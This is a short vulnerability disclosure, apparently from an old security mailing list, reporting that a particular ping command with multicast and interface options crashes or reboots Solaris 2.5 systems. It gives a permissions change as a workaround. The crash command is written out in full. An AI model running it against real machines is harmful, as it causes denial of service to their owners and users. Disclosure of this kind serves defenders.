ping -sv -i 127.0.0.1 224.0.0.1
On solaris 2.5, causes the machine to reboot (personal experience). I've
had independent reports of it crashing 2.5.1, and 2.5 (x86). It probably works
on all versions of Solaris.
To "fix" the denial of service:
chmod go-x /usr/sbin/ping
if you don't mind disabling Ping on your system.
-Adam